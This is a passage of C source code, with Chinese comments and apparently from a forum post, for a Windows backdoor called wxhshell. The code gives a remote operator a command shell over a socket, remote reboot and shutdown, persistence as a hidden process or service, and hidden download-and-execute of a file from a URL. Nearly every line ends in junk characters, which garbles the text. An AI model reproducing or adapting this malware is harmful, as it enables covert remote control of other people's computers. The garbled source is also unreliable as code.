  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }p)K6!J0  
  } z(|^fi(  
  else { 5ya9VZ5#  
IG^@VQ%  
    switch(cmd[0]) { iGyetFqKw  
  \@<7Vo,  
  // 帮助 4EB\R"rWXf  
  case '?': { jI-a+LnEm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?.~1%l!  
    break; 7N$2N!I(  
  } \-\>JPO~<  
  // 安装 Ew8@{X y  
  case 'i': { .~]|gg~  
    if(Install()) ]eL# bJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fUT[tkb/!  
    else ?UXF z'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ":!$Jnj,  
    break; :#rP$LSYC  
    } ZEqW*piI  
  // 卸载 ]M?i:A$B  
  case 'r': { yM_/_V|G  
    if(Uninstall()) A}9Z%U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .t8)`MU6.  
    else a'J0}j!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +-izC%G  
    break; LF dvz0  
    } L:i&OCU2k  
  // 显示 wxhshell 所在路径 >*-%:ub  
  case 'p': { :j\7</uu  
    char svExeFile[MAX_PATH]; &jqaW 2  
    strcpy(svExeFile,"\n\r"); )x.%PUA  
      strcat(svExeFile,ExeFile); iU)I"#\l'k  
        send(wsh,svExeFile,strlen(svExeFile),0); t~Q 9} +  
    break; r.C6` a  
    } +3v)@18B1  
  // 重启 iN;Pg _Kq  
  case 'b': { e5L+NPeM6v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l<=;IMWd  
    if(Boot(REBOOT)) 59E9K)c3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I7ao2aS  
    else { =ZgueUz,  
    closesocket(wsh); iE%"Q? Q/  
    ExitThread(0); x YS81  
    } ~A0]vcP  
    break; G%W9?4_K  
    } L}Z.FqJ  
  // 关机 *$Q>Om]  
  case 'd': { iq&3S0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ipSMmpB  
    if(Boot(SHUTDOWN)) wuqe{?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (NJ{>@&  
    else { LlTD =tJ0  
    closesocket(wsh); EGu%;[  
    ExitThread(0); BA;r%?MRL  
    } (.J/Ql0Y  
    break; MO`Y&<g~A  
    } T.bFB+'E|  
  // 获取shell  !:( +#  
  case 's': { qGinlE&\  
    CmdShell(wsh); ~D52b1f  
    closesocket(wsh); P\U<,f  
    ExitThread(0); qt8Y3:=8l  
    break; *!5CL'  
  } >M<3!?fW)  
  // 退出 @6 he!wW  
  case 'x': { DB vM.'b$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q):#6|u+  
    CloseIt(wsh); g"-j/ c   
    break; K@.5   
    } Cfi{%,em  
  // 离开 Jh"[ug  
  case 'q': { !3b& S4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :.:^\Q0  
    closesocket(wsh); oW^b,{~V  
    WSACleanup(); ZrN(M p  
    exit(1); &;PxDlY5  
    break; 8Km&3nCv$Q  
        } $AK ^E6  
  } PGTEIptX7  
  } 7oZ :/6_>  
8hGyh#  
  // 提示信息 y_X6{}Ke  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oz!)x\m*H  
} `z!AjAT-G  
  } o;8$#gyNY  
=s\$i0A2  
  return; w{ja*F6  
}  _){|/Zd  
~Ztn(1N  
// shell模块句柄 +k`L8@a3&  
int CmdShell(SOCKET sock) KzHN|8 $o  
{ Qz(D1>5I?  
STARTUPINFO si; )*KMU?  
ZeroMemory(&si,sizeof(si)); j0l,1=^>l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1?'4%>kp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -P]O t>%S  
PROCESS_INFORMATION ProcessInfo; i/>k_mG$d  
char cmdline[]="cmd"; hh;kBv07o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )5|9EXh  
  return 0; u>>|ZPe  
} 3vrVX<_  
**q8vhJM  
// 自身启动模式 @?B+|*cm  
int StartFromService(void) [YvS#M3T  
{ M9"Bx/  
typedef struct U9 iI2$  
{ E,i^rAm  
  DWORD ExitStatus; J*@pM  
  DWORD PebBaseAddress; J""Cgf  
  DWORD AffinityMask; lm`*x=x  
  DWORD BasePriority; 54 $^ldD  
  ULONG UniqueProcessId; "P! .5B  
  ULONG InheritedFromUniqueProcessId; 2Zu9? L ,I  
}   PROCESS_BASIC_INFORMATION; 7D'\z IW  
BMp'.9Qgm  
PROCNTQSIP NtQueryInformationProcess; yfl?\X{  
#Xg;E3BM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ :VH?I=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zkp~qx  
F^l1WX6  
  HANDLE             hProcess; gT}H B.  
  PROCESS_BASIC_INFORMATION pbi; 1AJ6NBC&c  
{B$CqsvJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 80nEQT y  
  if(NULL == hInst ) return 0; 7L~ *%j  
WwmYJl0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'm<Lx _i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zs=3e~o3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'sEnh<  
OZ`cE5"i  
  if (!NtQueryInformationProcess) return 0; E%w^q9C  
k_pv6YrE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZU 3Psj  
  if(!hProcess) return 0; <H-Nft>O  
CW1l;uwtU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D||0c"E  
@a8lF$<  
  CloseHandle(hProcess); Tm" H9  
oidZWy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jm_)}dj3o  
if(hProcess==NULL) return 0; '_v~+  
IO)Y0J>x  
HMODULE hMod; qd a 2  
char procName[255]; ebA:Sq:w  
unsigned long cbNeeded; t<rIg1  
F5?S8=i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :8b'HhjM  
#Y5k/NPg  
  CloseHandle(hProcess); GvVkb=="  
Y"FV#<9@7E  
if(strstr(procName,"services")) return 1; // 以服务启动 /pMOinuO  
66val"^W  
  return 0; // 注册表启动 [Uup5+MCv  
} EL,k z8  
H(y`[B,}*  
// 主模块 \%7*@&  
int StartWxhshell(LPSTR lpCmdLine) /,G `V  
{ TPp]UG  
  SOCKET wsl; xpdpD  
BOOL val=TRUE; 1T|f<ChIF<  
  int port=0; eB0exPz%  
  struct sockaddr_in door; <8WFaP3,  
(3n "a'  
  if(wscfg.ws_autoins) Install(); HXq']+iC  
JM7mQ'`Ud  
port=atoi(lpCmdLine); *'((_ NZ>  
[t4v/vQT  
if(port<=0) port=wscfg.ws_port; ny-:%A  
t:10  
  WSADATA data; KZKE&bTx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :T-DxP/  
+bumWOQ'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g Wtc3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '| i?-(f)  
  door.sin_family = AF_INET; 0B.Gt&O al  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uj.i(U s  
  door.sin_port = htons(port); FL{Uz+Q  
/A{ Zf'DI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]N'3jf`W  
closesocket(wsl); UhH#> 2r_  
return 1; {/QVs?d  
} <-I69`  
--$* q"  
  if(listen(wsl,2) == INVALID_SOCKET) { %bnXZA2Sx  
closesocket(wsl); svpQ.Q  
return 1; H<d~AurX)J  
} y_m+&Oe  
  Wxhshell(wsl); aHN"I  
  WSACleanup(); 8c5YX  
]}3s/NJi  
return 0; \_Bj"K  
P j   
} C|ZPnm>f30  
G)am ng/  
// 以NT服务方式启动  sS-dHa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  9q"kM  
{ 4l 67B]o  
DWORD   status = 0; x9YQd69  
  DWORD   specificError = 0xfffffff; $toTMah w  
qFmw9\Fn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )] @h}K}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cx[^D,usf~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ U:C62oK,  
  serviceStatus.dwWin32ExitCode     = 0; JL6$7h  
  serviceStatus.dwServiceSpecificExitCode = 0; 4>,X.|9{  
  serviceStatus.dwCheckPoint       = 0; GD4S/fn3  
  serviceStatus.dwWaitHint       = 0; NW1Jr/  
o=Vs)8W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GK$[!{w;  
  if (hServiceStatusHandle==0) return; TUfj\d,  
v0DDim?cc  
status = GetLastError(); /p !A:8  
  if (status!=NO_ERROR) bWTf P8gT  
{ aqON6|6K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ) H,Xkex  
    serviceStatus.dwCheckPoint       = 0; = wz}yfdrC  
    serviceStatus.dwWaitHint       = 0; g~DuK|+  
    serviceStatus.dwWin32ExitCode     = status; |N/d }  
    serviceStatus.dwServiceSpecificExitCode = specificError; httywa^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v]k-x n|$j  
    return; s|\)Y*B`  
  } %jL^sA2;c+  
p}^G#h{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hU$a Z  
  serviceStatus.dwCheckPoint       = 0; l5D)UO  
  serviceStatus.dwWaitHint       = 0; 0he3[m}Nr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u''Ce`N  
} #*g=F4>t  
j4/[Z'5ny  
// 处理NT服务事件,比如:启动、停止 s!IIvF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3-/|G-4k7  
{ ]y@A=nR  
switch(fdwControl) Da-Lf2qT9  
{ x?L[*N_ml  
case SERVICE_CONTROL_STOP: A|ZT ;\  
  serviceStatus.dwWin32ExitCode = 0; JX&U?Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WFF?VBT'^  
  serviceStatus.dwCheckPoint   = 0; oh{>nwH  
  serviceStatus.dwWaitHint     = 0; 7DAP_C  
  { w5>[hQR\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ||:> &  
  } RBQ8+^  
  return; +(*HDa|  
case SERVICE_CONTROL_PAUSE: 8 W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gKh*q.  
  break; NsB]f{7>8+  
case SERVICE_CONTROL_CONTINUE:  W9?* ~!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AX`T ku  
  break; #QwkRzVoy  
case SERVICE_CONTROL_INTERROGATE: %5e|  
  break; Y D<3#Dr]  
}; Tri\5O0lPs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SA<\n+>q^  
} ^+yz}YFM  
c5^HGIe1  
// 标准应用程序主函数 ^5X?WA,Z99  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1ui)Hv=h*  
{ UBwl2Di  
f ./K/  
// 获取操作系统版本 ':n`0+Eh  
OsIsNt=GetOsVer(); e0(/(E:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \HO)ss)"  
Wep^He\:  
  // 从命令行安装 |u>V> PN  
  if(strpbrk(lpCmdLine,"iI")) Install(); v.]{b8RR  
$5XA S  
  // 下载执行文件 Cfi4~&  
if(wscfg.ws_downexe) { *q6XK_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X7$]qE K  
  WinExec(wscfg.ws_filenam,SW_HIDE); t=Oq<r  
} PaKa bPY  
xUn"XkhP  
if(!OsIsNt) { 9Jwd*gevV  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z:{| ?4  
HideProc(); &. =8Q?  
StartWxhshell(lpCmdLine); > 'R{,1# U  
} 7n5gXiI"  
else 9G[ DuYJI  
  if(StartFromService()) h~#iGs  
  // 以服务方式启动 &@6xu{o  
  StartServiceCtrlDispatcher(DispatchTable); Ll KO(Q{"  
else 4 {M   
  // 普通方式启动 5{HF'1XgZ*  
  StartWxhshell(lpCmdLine); JRB6T_U  
]$g07 7o  
return 0; @ZISv'F  
}
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只看该作者 1 发表于: 2006-10-10
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